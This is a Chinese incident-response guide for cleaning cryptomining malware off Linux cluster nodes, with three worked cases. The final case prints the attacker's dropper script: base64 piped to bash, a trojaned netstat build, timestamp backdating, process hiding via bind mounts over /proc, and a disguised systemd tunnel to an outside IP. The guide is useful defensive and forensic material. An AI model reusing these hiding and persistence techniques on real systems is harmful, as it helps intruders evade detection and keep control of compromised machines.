此次病毒排查过程中,使用的关键命令netstat为系统命令,在排查其它节点过程中发现发现有进程连接到了本机的443端口,但如上面的netstat结果所示,显示443端口并未监听使用。

使用lsof命令查看该端口,显示有进程在运行。

s.threatbook.com 检测恶意IP,也可以检测恶意文件。

$ lsof -i:443
COMMAND   PID USER   FD   TYPE     DEVICE SIZE/OFF NODE NAME
Xorgs   31030 root   15u  IPv4 3430298213      0t0  TCP *:https (LISTEN)
遂怀疑netstat命令被入侵者替换,计算了该文件的md5值并使用virustotal检测,结果显示没有找到这个文件。同时检测了其它未被入侵服务器上的netstat命令,结果显示正常,然后将该netstat程序拷贝到本机,运行结果如下,可以明显看到多了几个端口和对应的进程Xorgs,且该命令被删除,显然为病毒文件。至此可以确认netstat被替换了。
$ ./netstat -ltupan |grep LISTEN|grep "0 0.0.0.0"
tcp        0      0 0.0.0.0:5288            0.0.0.0:*               LISTEN      27467/sshd
tcp        0      0 0.0.0.0:7112            0.0.0.0:*               LISTEN      3691/perl
tcp        0      0 0.0.0.0:33033           0.0.0.0:*               LISTEN      31030/Xorgs
tcp        0      0 0.0.0.0:3309            0.0.0.0:*               LISTEN      31265/mysqld
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1735/rpcbind
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      31030/Xorgs
tcp        0      0 0.0.0.0:20048           0.0.0.0:*               LISTEN      1899/rpc.mountd
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      27467/sshd
tcp        0      0 0.0.0.0:15001           0.0.0.0:*               LISTEN      21926/pbs_server
tcp        0      0 0.0.0.0:53081           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:15002           0.0.0.0:*               LISTEN      22123/pbs_mom
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      31030/Xorgs
tcp        0      0 0.0.0.0:15003           0.0.0.0:*               LISTEN      22123/pbs_mom
tcp        0      0 0.0.0.0:33563           0.0.0.0:*               LISTEN      1686/rpc.statd
tcp        0      0 0.0.0.0:15004           0.0.0.0:*               LISTEN      2199/maui
tcp        0      0 0.0.0.0:42559           0.0.0.0:*               LISTEN      2199/maui
tcp        0      0 0.0.0.0:42560           0.0.0.0:*               LISTEN      2199/maui
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5666            0.0.0.0:*               LISTEN      31030/Xorgs
$ ll -h /proc/31030/exe
lrwxrwxrwx 1 root root 0 Nov 30 23:27 /proc/31030/exe -> /opt/Xorgs (deleted)

Warning

上述netstat排查过程显示了被入侵服务器上的命令有多不可靠,因此系统命令使用前一定要先进行检测,或直接使用busybox。

异常文件检测

可以通过查找最近修改过的文件、rpm -Va校验来检测可疑文件,然后进一步使用查看这些可疑文件。有些可疑的配置文件可以直接查看是否有问题,可疑的命令可以使用virustotal检测该文件是否正常,具体用法见集群用户手册 virustotal

最近修改文件

通过find命令可以查找指定时间之后被修改的文件,可以看到跟ssh相关的一系列文件最近被修改过。

$ find    /bin /sbin /usr /lib /lib64 /etc/ /media/ /mnt/  /net/  -type f -newermt '2022-11-01'
/usr/local/share/man/man1/scp.1
/usr/local/share/man/man1/ssh-add.1
/usr/local/share/man/man1/ssh-keyscan.1
/usr/local/share/man/man1/ssh.1
/usr/local/share/man/man1/ssh-agent.1
/usr/local/share/man/man1/ssh-keygen.1
/usr/local/share/man/man1/sftp.1
/usr/local/share/man/man5/sshd_config.5
/usr/local/share/man/man5/ssh_config.5
/usr/local/share/man/man8/sftp-server.8
/usr/local/share/man/man8/sshd.8
/usr/local/share/man/man8/ssh-keysign.8
/usr/local/share/Ssh.bin
/usr/sbin/unreadsnf
/usr/sbin/sshd
/usr/sbin/sshdold
/usr/sbin/sshd_configold
/usr/include/perl.h
有时候入侵者更改或替换文件后,会进一步修改文件的时间戳,使用上述命令无法检测,此时可以使用stat命令来检查,如下可以看到 Change 那一行显示文件状态最近被修改过。
$ stat /usr/bin/top
  File: ‘/usr/bin/top’
  Size: 106848      Blocks: 216        IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 738247651   Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-11-26 10:21:42.742891556 +0800
Modify: 2018-04-11 08:42:59.000000000 +0800
Change: 2022-11-21 18:21:55.015996564 +0800
 Birth: -

结合find和stat命令,可以检测近期被修改过的文件,如下检测 2022-11 这个时间点被更改过的文件,然后使用virustotal做进一步确认。

$ find    /bin /sbin /usr /lib /lib64 /etc/ /media/ /mnt/  /net/  -type f|xargs stat| grep -B6 "Change: 2022-11"|grep File
  File: ‘/usr/bin/systemd-runs’
  File: ‘/usr/bin/netstat’
  File: ‘/usr/include/thread.h’
rpm校验

使用rpm -Va 校验检查所有的rpm软件包,有哪些有异常,如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。

输出格式是8位长字符串,c 用以指配置文件, 接着是文件名. 8位字符的每一个 用以表示文件与RPM数据库中一种属性的比较结果 。 . (点) 表示测试通过。下面的字符表示对RPM软件包进行的某种测试失败:

  • 5 MD5 校验码
  • S 文件尺寸
  • L 符号连接
  • T 文件修改日期
  • D 设备
  • U 用户
  • G 用户组
  • M 模式e (包括权限和文件类型)

$ rpm -Va > abnormal_file
$ cat abnormal_file
S.5....T.  c /etc/xinetd.d/rexec
S.5....T.  c /etc/xinetd.d/rlogin
S.5....T.  c /etc/xinetd.d/rsh
..5....T.  c /usr/lib64/security/classpath.security
....L....  c /etc/pam.d/fingerprint-auth
....L....  c /etc/pam.d/password-auth
....L....  c /etc/pam.d/smartcard-auth
....L....  c /etc/pam.d/system-auth
S.5....T.  c /etc/security/limits.conf
S.5....T.  c /etc/ssh/ssh_config
.......T.    /etc/udev/rules.d/10-knem.rules
SM5....T.  c /etc/ssh/sshd_config
S.5....T.  c /etc/hosts.allow
S.5....T.  c /etc/hosts.deny
S.5....T.  c /etc/profile
S.5....T.  c /etc/securetty
SM5....T.  c /etc/sysconfig/rhn/up2date
S.5....T.  c /etc/crontab
SM5....T.  c /etc/sudoers
S.5....T.    /usr/bin/ofed_info
S.5....T.  c /etc/rsyslog.conf
.
.
.
重点关注MD5检测不通过的文件。

$ cat abnormal_file |grep 5
S.5....T.  c /etc/yp.conf
S.5....T.  c /root/.bashrc
S.5....T.  c /etc/login.defs
S.5....T.  c /etc/ssh/ssh_config
S.5....T.  c /etc/sysctl.conf
SM5....T.    /etc/sysconfig/grub
S.5....T.  c /etc/chrony.conf
S.5....T.  c /etc/yum.conf
S.5....T.  c /var/lib/unbound/root.key
S.5....T.    /bin/netstat
SM5....T.  c /etc/security/access.conf
S.5....T.  c /etc/security/limits.conf
这里可以看到 netstat 命令有异常,用virustotal检测后发现这个文件确实不可靠,需要用正常文件替换过来。
ssh服务替换处理

部分挖矿病毒会对ssh服务等关键服务进行文件替换以预留后门,方便后面连接。

如果检测出ssh相关服务及命令异常,建议重装openssh。或从其它正常同版本的服务器中拷贝这些命令以替换异常命令,替换过程中建议先用正常的sshd命令起一个不同端口ssh服务,然后用这个端口连到服务器,以避免替换过程中因意外导致连不上服务器。

$ yum reinstall openssh-server openssh-clients openssh-keycat openssh

系统安全漏洞检查修复

常用命令检查

这个部分在上一节有部分涉及,很多系统关键命令会被入侵者替换,以便隐藏病毒或维持远程连接漏洞。

其中比较关键的是ssh相关命令被替换,被替换的sshd或ssh命令可以记录正常登录用户的用户名和密码,以便进一步扩大入侵面或方便后续伪装成正常用户登录服务器。因此一定需要检测相关命令是否正常。

/usr/bin/ssh
/usr/bin/ssh-add
/usr/bin/ssh-agent
/usr/bin/ssh-copy-id
/usr/bin/ssh-keygen
/usr/bin/ssh-keyscan
/usr/bin/scp
/usr/bin/sftp

关键文件权限

下面为用户和用户组相关文件的标准权限,如果文件权限出现异常,很可能存在安全隐患。

$ ll -h /etc/passwd /etc/shadow /etc/group /etc/gshadow
-rw-r--r-- 1 root root 4.2K Nov  2 16:46 /etc/group
---------- 1 root root 3.3K Nov  2 16:46 /etc/gshadow
-rw-r--r-- 1 root root  37K Nov 30 02:15 /etc/passwd
---------- 1 root root  85K Nov 30 02:18 /etc/shadow
  • /etc/passwd 存在非root用户写权限,很可能被写入特殊权限,如将普通用户的uid或gid改写为0,使得该用户具有root权限。/etc/group 文件同理;

  • /etc/shadow 存在非root用户读权限,则可以使用专用工具对其暴力破解;

特殊权限账号

查看uid或gid为0的账号或用户组,删除异常的账号。

$ cat /etc/passwd|grep ":0"
$ cat /etc/group|grep ":0"

空密码账号

检查系统中是否存在空密码账号。

cat /etc/shadow|awk -F: '$2 == "" { print $1, "has empty password!. Please set a strong password ASAP!!" }' 

sudo异常

查看sudo配置文件是否正常,可以看到这里test账号被加入了sudo列表中且不需要密码。

/etc/sudoers
test ALL=(ALL) NOPASSWD:ALL

账号处理

如果入侵者的操作都是使用root账号进行,则需要更改root账号密码,删除root账号的秘钥并重新生成。

其它普通账号,建议暂时全部锁定,由用户申请一个个重新设置密码后再开放,同时删除秘钥并重新生成。重新设置密码前先设置好系统密码复杂度。

日志检查

系统关键日志如message secure cron等可能被清空、同时日志服务被杀死,需要重启一下日志服务。

$ systemctl status rsyslog.service
 rsyslog.service - System Logging Service
   Loaded: loaded (/usr/lib/systemd/system/rsyslog.service; enabled; vendor preset: enabled)

$ systemctl start rsyslog.service
被清空的日志文件
$ ll -h /var/log/
-rw-rw-r--  1 root         utmp        1.1M Oct 21 00:24 wtmp-20221021
-rw-------  1 root         root           0 Oct 30 03:07 spooler-20221106
-rw-r--r--  1 root         root           0 Oct 30 03:07 secure-20221106
-rw-r--r--  1 root         root           0 Oct 30 03:07 xferlog-20221106
-rw-r--r--  1 root         root           0 Oct 30 03:07 up2date-20221106
-rw-r--r--  1 root         root         74K Nov  6 03:46 messages-20221106
-rw-------  1 root         root        2.3M Nov  6 03:50 cron-20221106
-rw-r--r--  1 root         root         13M Nov  6 03:50 maillog-20221106
-rw-------  1 root         root           0 Nov  6 03:50 spooler-20221113
-rw-r--r--  1 root         root           0 Nov  6 03:50 xferlog-20221113
-rw-r--r--  1 root         root           0 Nov  6 03:50 up2date-20221113
-rw-r--r--  1 root         root        1.5K Nov  8 20:47 secure-20221113
-rw-------  1 root         root        883K Nov  8 20:47 cron-20221113
-rw-r--r--  1 root         root        4.9M Nov  8 20:47 maillog-20221113
-rw-r--r--  1 root         root         12M Nov  8 20:47 messages-20221113
-rw-------  1 root         root           0 Nov 13 03:29 spooler-20221120
-rw-r--r--  1 root         root           0 Nov 13 03:29 secure-20221120
-rw-r--r--  1 root         root           0 Nov 13 03:29 messages-20221120
-rw-r--r--  1 root         root           0 Nov 13 03:29 maillog-20221120
-rw-------  1 root         root           0 Nov 13 03:29 cron-20221120
-rw-r--r--  1 root         root           0 Nov 13 03:29 up2date-20221120
-rw-r--r--  1 root         root           0 Nov 13 03:29 xferlog-20221120
-rw-------  1 root         root           0 Nov 20 03:46 spooler-20221127
-rw-r--r--  1 root         root           0 Nov 20 03:46 secure-20221127
-rw-r--r--  1 root         root           0 Nov 20 03:46 messages-20221127
-rw-r--r--  1 root         root           0 Nov 20 03:46 maillog-20221127
-rw-------  1 root         root           0 Nov 20 03:46 cron-20221127
-rw-r--r--  1 root         root           0 Nov 20 03:46 up2date-20221127
-rw-r--r--  1 root         root           0 Nov 20 03:46 xferlog-20221127
-rw-r--r--  1 root         root           0 Nov 27 03:32 maillog
-rw-------  1 root         root           0 Nov 27 03:32 cron
-rw-------  1 root         root           0 Nov 27 03:32 spooler
-rw-r--r--  1 root         root           0 Nov 27 03:32 secure
-rw-r--r--  1 root         root           0 Nov 27 03:32 messages
-rw-r--r--  1 root         root           0 Nov 27 03:32 xferlog
-rw-r--r--  1 root         root           0 Nov 27 03:32 up2date
drwxr-xr-x. 2 tomcat       root        4.0K Nov 27 03:32 tomcat6
-rw-------. 1 root         root          51 Dec  1 10:31 yum.log-20221202
-rw-------  1 root         utmp         384 Dec  1 17:36 btmp
-rw-------  1 root         root           0 Dec  2 03:25 yum.log

实际案例处理

案例1

问题定位

1、cu01-cu04 节点上有高负载程序,疑似挖矿病毒,利用htop以及netstat找不到相关进程和通讯端口

2、利用 https://github.com/Ymigmli/Linux_Incident_Response 排查常见异常,发现 ./busybox netstat能够发现异常连接

同时./busybox ps也发现了可疑进程

查看2362的的详细信息,定位到相关程序并删除(该程序应该是上次杀毒没有杀干净的,一直潜伏在),由于第二个异常连接未定位到PID,未能定位病毒程序(CPU仍然被占满)

3、进一步扫描被改动文件,定位到部分被修改过的文件,查看部分程序md5码,未发生异常(事后诸葛亮,应该全部查看的)

$ find /opt -type f -executable -newerct '2023-10-12 00:00' >/public/test/IncidentResponse/cu04
$ find /root -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
$ find /boot -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
$ find /usr -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04
$ find /etc -type f -executable -newerct '2023-10-12 00:00' >>/public/test/IncidentResponse/cu04

4、使用 ./unhide quick >> hiden_proc.log 查找隐藏进程,发现可疑进程,考虑到 /usr/bin/netstat 未检查md5码,回查发现里面已经有部分程序被改,修复后解决

5、提交病毒样本在线检测结果

问题处理与小结

  1. 终止挖矿进程
  2. 隔离挖矿病毒可执行文件,保存病毒样本(mihner-sample.tgz)
  3. 清理系统 Crontab 任务计划
  4. root 密码更新为20位含数字、大小写字母及特殊符号的强密码,更换SSH密钥,清理 authorized_keys 文件内容。
  5. 系统netstat与bosybox不一致时就应该发现问题,排查问题一定要全面
  6. 可以考虑丰富下Linux_Incident_Response项目,实现全面的扫描

案例2

问题处理

# 系统top无法看到异常进程,busybox top 可以看到有异常进程 spirit
$ ./busybox top
Mem: 96158900K used, 1276140K free, 90256K shrd, 217156K buff, 88609700K cached
CPU:   3% usr   0% sys   0% nic  95% idle   0% io   0% irq   0% sirq
Load average: 1.00 1.02 1.02 3/560 945
  PID  PPID USER     STAT   VSZ %VSZ CPU %CPU COMMAND
 2471  2036 mysql    S     389m   0%  14   0% /opt/mysql-5.5.37-linux2.6-x86_64/bin/mysqld --defaults-file=/opt/mysql-5.5.37-linux2.6-x86_64/my.c
 2440     1 root     S     110m   0%   9   0% /opt/gridview//pbs/dispatcher/sbin/pbs_mom -x -p -H localhost -d /opt/gridview//pbs/dispatcher
 1219     1 root     S    21928   0%  13   0% /usr/sbin/irqbalance --foreground
988703     2 root     SW       0   0%   2   0% [kworker/u449:1]
 3958  3900 gdm      S    1857m   2%   8   0% /usr/bin/gnome-shell
640647640482 root     T    1222m   1%   6   0% ./spirit -t 80s B -j 300
 4073  3900 gdm      S    1169m   1%  18   0% /usr/libexec/gnome-settings-daemon
 4007     1 gdm      S<   1131m   1%  23   0% /usr/bin/pulseaudio --start --log-target=syslog
 2079     1 root     S     801m   1%  19   0% /usr/sbin/pkesi
 1985     1 root     S     730m   1%   9   0% /bin/tunnel -L=tcp://:443/45.79.108.110:80
$ ./busybox ps aux|grep spirit
640647root      0:36 ./spirit -t 80s B -j 300

# /proc下午也无法查看进程
$ ls /proc/640647/
ls: cannot access /proc/640647/: No such file or directory

#系统kill命令无法杀掉,只能使用busybox kill
$ kill 640647
-bash: kill: (640647) - No such process
$ ./busybox kill -s 9 640647
$ ./busybox ps aux|grep spirit

# ls -a /tmp/ 无法看到异常文件
# ./busybox ls -a /tmp/ 可以看到有异常文件
# 这些文件内存放有内网横向扫描的信息,可以看到有其它服务器因为简单密码被黑
$ ./busybox ls -a /tmp/
alive.omni b.lst block.lst bun found.login found.lst found.ssh h.lst ips log.omni m out.omni p.lst.save spirit

# 这里作为展示,隐去了敏感信息,可以看到被黑的基本都是默认22端口和很简单的密码
$ ./busybox cat  /tmp/log.omni|grep ssh
INFO ssh username1@192.168.1.10 -p 22 # password1       
INFO ssh username2@192.168.1.11 -p 22 # password2       
INFO ssh username3@192.168.1.12 -p 22 # password3           
INFO ssh username4@192.168.1.13 -p 22 # password4       
INFO ssh username5@192.168.1.14 -p 22 # password5         

# 删除异常文件
$ cd /tmp/
$ ./busybox rm -f alive.omni b.lst block.lst bun found.login found.lst found.ssh h.lst ips log.omni m out.omni p.lst.save spirit

# 检查系统异常文件
$ rpm -Va > abnormal_file
# 重点关注MD5检测不通过的文件
$ cat abnormal_file |grep 5
S.5....T.  c /root/.bash_profile
S.5....T.  c /root/.bashrc
S.5....T.  c /root/.cshrc
S.5....T.  c /etc/infiniband/openib.conf
S.5....T.    /bin/netstat
S.5....T.  c /etc/abrt/abrt-action-save-package-data.conf
S.5....T.  c /etc/abrt/abrt.conf
S.5....T.  d /usr/mpi/gcc/openmpi-3.0.0rc6/etc/openmpi-mca-params.conf
S.5......  c /usr/share/Modules/init/bash_completion
S.5......  c /usr/share/Modules/init/csh
S.5......  c /usr/share/Modules/init/tcsh
S.5....T.  c /usr/share/texlive/texmf/web2c/updmap.cfg
S.5....T.  c /etc/ypserv.conf
S.5....T.  c /etc/cups/cups-browsed.conf
S.5....T.  c /etc/httpd/conf/httpd.conf
S.5....T.  c /etc/crontab
S.5....T.  c /etc/security/limits.conf
S.5....T.  c /etc/security/sepermit.conf
S.5....T.  c /etc/sysctl.conf
..5....T.    /usr/bin/chattr
SM5....T.  c /etc/rc.d/rc.local
S.5....T.  c /etc/sudoers
S.5....T.  c /etc/my.cnf
S.5....T.  c /etc/profile
S.5....T.  c /etc/services
S.5....T.  c /etc/yp.conf
S.5....T.    /usr/bin/pod2man
S.5....T.  c /usr/share/texlive/texmf/web2c/fmtutil.cnf
S.5....T.  c /etc/plymouth/plymouthd.conf
S.5....T.    /usr/lib/systemd/system/trqauthd.service
S.5....T.  c /etc/yum.conf
S.5....T.    /usr/bin/yum
S.5....T.  c /etc/sysconfig/iptables
S.5....T.  c /etc/yum/pluginconf.d/langpacks.conf
..5....T.    /lib/ld-2.17.so
S.5....T.  c /etc/yum.repos.d/CentOS-Base.repo
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/__init__.py
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/__init__.pyc
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/_constants.py
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/_constants.pyc
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/_native.py
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/_native.pyc
S.5....T.    /usr/lib64/python2.7/site-packages/markupsafe/_speedups.so
..5....T.    /lib64/ld-2.17.so
S.5....T.  c /usr/lib64/R/etc/Makeconf
S.5....T.  c /usr/lib64/R/etc/ldpaths
S.5....T.  c /etc/cgrules.conf
S.5....T.  c /etc/ssh/sshd_config
S.5....T.    /usr/bin/ofed_info
S.5....T.  c /etc/sysconfig/authconfig
S.5....T.    /usr/libexec/urlgrabber-ext-down

# 对于异常的普通文本文件可以直接less查看;对于二进制文件,计算md5值然后在virustotal上验证文件是否正常,不正常的使用strings命令查看二进制文件内是否有可疑的东西
# 经virustotal验证发现/bin/netstat文件异常,strings确认该文件不正常,需要使用正常的netstat替换
$ strings /bin/netstat
...
/usr/incH
lude/staH
tnetf
/tmp/.tmH
[]A\A]A^A_
*file not found* : %s
rm /tmp/.tmp
/usr/include/allocate.h
/tmp/.tmp
....

# 使用正常的netstat替换异常的netstat,发现权限异常
$ cp ~/netstat /bin/netstat 
cp: overwrite ‘/bin/netstat’? y
cp: cannot create regular file ‘/bin/netstat’: Permission denied
# 使用lsattr 可以看到添加了i权限
$ lsattr /bin/netstat 
----i--------e-- /bin/netstat
# 去掉i权限之后可以正常替换
$ chattr -i /bin/netstat
$ cp ~/netstat /bin/netstat 
cp: overwrite ‘/bin/netstat’? y
$

案例3

服务器负载突然升高,top 查看不到对应的进程,怀疑被挖矿了。同时,busybox 也不能查看隐藏进程,因此可以猜测可能是通过 挂载覆盖 的方式隐藏了进程,使用上文中提到的检测方法处理。

可以看到 259964 这个进程被系统盘覆盖了。

$ cat /proc/mounts |grep proc
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=43071 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
/dev/mapper/system-root /proc/259964 xfs rw,relatime,attr2,inode64,noquota 0 0
/dev/mapper/system-root /proc/1 xfs rw,relatime,attr2,inode64,noquota 0 0
查看这个进程目录,发现不是常规的进程目录的结构,而是与 /tmp 的目录内容一致,可以确认该进程被覆盖了
# 文件太多,这里不展示
$ ls /proc/259964
....
同时 systemctl status pid 看到该进程的名称为 n/a ,表示看不到进程信息
$ systemctl status 259964
● session-43921.scope - Session 43921 of user root
   Loaded: loaded (/run/systemd/system/session-43921.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-43921.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2023-09-31 02:44:51 CST; 6h ago
   CGroup: /user.slice/user-0.slice/session-43921.scope
           └─259964 n/a

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
卸载挂载的盘后再 top 查看,可以看到病毒进程了。
$ umount /proc/259964
$ top
top - 09:34:03 up 101 days, 21:05,  3 users,  load average: 36.77, 36.54, 36.60
Tasks: 437 total,   1 running, 436 sleeping,   0 stopped,   0 zombie
%Cpu(s): 99.9 us,  0.1 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 19753308+total, 18282083+free, 14036832 used,   675428 buff/cache
KiB Swap:  4194300 total,  4194300 free,        0 used. 17963222+avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                               
259964 root       5 -15 4725848  82268   1748 S  3383  0.0  14666:40 h35rn5kz6fls  
systemctl status pid 也可以看到挖矿病毒名称了
$ systemctl status 259964
 session-43921.scope - Session 43921 of user root
   Loaded: loaded (/run/systemd/system/session-43921.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-43921.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2023-09-31 02:44:51 CST; 7h ago
   CGroup: /user.slice/user-0.slice/session-43921.scope
           └─259964 h35rn5kz6fls

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
可以看到病毒运行后就被删了,比较难查找
$ ll /proc/259964/exe 
lrwxrwxrwx 1 root root 0 Jan 31 09:24 /proc/259964/exe -> /tmp/h35rn5kz6fls (deleted)
一般病毒都会对外联网,使用 netstat 看一下(注意用安全的netstat),可以看到病毒连到了另外一个节点 192.168.100.101
$ netstat -antlp|grep h35rn5kz6fls
tcp        0      0 192.168.100.100:56334          192.168.100.101:3309         ESTABLISHED 259964/h35rn5kz6fls 

可以看到有个代理工具,同时连到了另外一个节点 192.168.100.102

$ ssh 192.168.100.101
$ lsof -i:3309
tunnel  1131 root   29u  IPv6 30189051      0t0  TCP 192.168.100.101:tns-adv->192.168.100.100:33854 (ESTABLISHED)
tunnel  1131 root   95u  IPv6 30218547      0t0  TCP 192.168.100.101:tns-adv->192.168.100.102:47982 (ESTABLISHED)
systemctl status 查看 tunnel(2964) 进程的启动状态,可以看到是由服务 edr-root.service 启动的。
 systemctl status 2964 -l
 edr-root.service - End Point Encryption
   Loaded: loaded (/etc/systemd/system/edr-root.service; enabled; vendor preset: disabled)
   Active: active (running) since Fri 2023-08-02 12:20:22 CST; 3 weeks 3 days ago
 Main PID: 2964 (tunnel)
   CGroup: /system.slice/edr-root.service
           └─2964 /bin/tunnel -L=tcp://:3309/198.251.88.91:80

Aug 02 12:20:22 ssd01 systemd[1]: Started End Point Encryption.
Aug 02 12:20:22 ssd01 systemd[1]: Starting End Point Encryption...
Aug 02 12:20:22 ssd01 tunnel[2964]: {"handler":"tcp","kind":"service","level":"info","listener":"tcp","msg":"listening on [::]:3309/tcp","service":"service-0","time":"2023-08-02T12:20:22.645+08:00"}
查看 edr-root.service
 cat  /etc/systemd/system/edr-root.service
[Unit]
Description=End Point Encryption
After=network.target
[Service]
Restart=always
RestartSec=10
ExecStart=/bin/tunnel -L=tcp://:3309/198.251.88.91:80
[Install]
WantedBy=multi-user.target

同时,追踪 192.168.100.102,发现了一个奇怪的进程 mihner

$ ssh 192.168.100.102
$ top
top - 10:37:45 up 9 days, 36 min,  2 users,  load average: 0.08, 0.59, 24.89
Tasks: 1554 total,   1 running, 1553 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.1 us,  0.2 sy,  0.0 ni, 99.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 21130722+total, 20593233+free, 47220976 used,  6527824 buff/cache
KiB Swap:  4194300 total,  4194300 free,        0 used. 20580412+avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                               
266801 root       5 -15   20.9g 386204   2064 S  22.2  0.0   5622:23 mihner   
发现该进程的运行路径为 /opt
$ ll  /proc/266801/exe 
lrwxrwxrwx 1 root root 0 Sep 31 10:25 /proc/266801/exe -> /opt/mihner
找到该病毒源文件,其中 mihner 为挖矿程序,计算md5值后在virustotal上查询,显示为恶意文件,基本都是挖矿相关的信息。其它为辅助脚本
$ ll -rth /opt/
-rwxr-xr-x  1 root root 5.1M Sep 16 22:30 mihner
-rwxr-xr-x  1 root root  12K Sep 16 22:34 go
-rw-r--r--  1 root root 2.2M Sep 16 22:35 g.tgz
-rw-r--r--  1 root root  978 Sep 24 21:26 list2
-rw-r--r--  1 root root  916 Sep 30 23:19 list
-rwxr-xr-x  1 root root   93 Sep 31 02:41 a
其中一个辅助脚本中,可以看到挖矿程序运行后,删除了相关文件,并通过挂载覆盖的方式隐藏了挖矿进程
$ cat go
#!/bin/sh
dir=$(pwd) 2>/dev/null
rand=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1) 2>/dev/null
cp $dir/mihner $dir/$rand 2>/dev/null
./$rand -lan 10.1.0.100:3309 -r -c -h $rand
echo "aWYgWyAtZiAvYmluL3N5c3RlbW..........9udWxsCglmaTsKZmk7CnJtIG5ldHN0YXQuYwo" | base64 -d | bash
proc=$(ps x |grep $rand |grep -v grep |awk '{print $1}') 2>/dev/null
rm -rf $rand mihner go g.tgz 2>/dev/null
mount --bind /tmp /proc/$proc
mount --bind /tmp /proc/1
其中第7行,解码后为shell脚本,可以看到其做了修改系统文件等一系列的动作,可以根据这个再逐一处理。可以看到有的文件如果不是找到了原始脚本,根部不知道其被修改了。

这里使用了2个代理,45.79.93.85 为外网代理,如果外网不通,同时可以使用内容代理 192.168.100.101

$ echo "aWYgWyAtZiAvYmluL3N5c3RlbW..........9udWxsCglmaTsKZmk7CnJtIG5ldHN0YXQuYwo" | base64 -d
if [ -f /bin/systemd-runs ];then
    exit 0
fi;
echo "LyoNCiogQ09OU0lHTElPOiBOb24ga....gOw0KDQp9" | base64 -d > netstat.c
netstatfile=$(whereis netstat |awk '{print $2}')
sudo gcc -o netstat netstat.c | gcc -o netstat netstat.c
SOSIZE=$(stat -c%s $netstatfile) 2>/dev/null
if [ $SOSIZE -gt 100 2>/dev/null ];then
    if [ -f $netstat ];then
        mv  $netstatfile  /bin/systemd-runs 2>/dev/null
        mv netstat $netstatfile 2>/dev/null
        echo "192.168.100.101:" > /usr/include/thread.h 2>/dev/null
        echo "45.79.93.85:" >> /usr/include/thread.h 2>/dev/null
        echo ":3309" >> /usr/include/thread.h 2>/dev/null
        touch -t 202006040202 $netstatfile 2>/dev/null
        touch -t 202106181953 /bin/systemd-runs 2>/dev/null
        touch -t 202208021258 /usr/include/thread.h 2>/dev/null
    fi;
fi;
rm netstat.c
再继续解码其生产的 netstat.c 文件,扔到chatgpt,解释为

这段代码的作用是隐藏文件中包含的指定字符串。它通过读取一个文件(在代码中定义为LISTOFITEMS)来获取要隐藏的字符串列表。然后,它会读取另一个文件(在代码中定义为TMPOUTFILE)中的内容,并检查每一行是否包含需要隐藏的字符串。如果不包含,则将该行打印出来;如果包含,则忽略该行。最后,它会删除临时文件TMPOUTFILE。

大概就是使用netstat的时候过滤指定的进程,也是隐藏挖矿进程的一种手段。

Summary

linux系统非常复杂,从以上的案例中可以看到能被利用的地方非常多,排查过程比较复杂,即便如此最后也不一定能排查干净,因此最简单彻底的方式是重装系统;

如果有可能,建议将系统装在esxi等虚拟机中,定期做系统快照,一旦出问题可利用快照快速将系统回滚至正常状态;

对于集群部署,如果厂商技术支持到位,系统部署时建议使用无盘系统,出现问题亦可快速重新灌装正常系统;

参考:

https://l0n9w4y.cc/

https://www.isisy.com/

本文阅读量  次
本站总访问量  次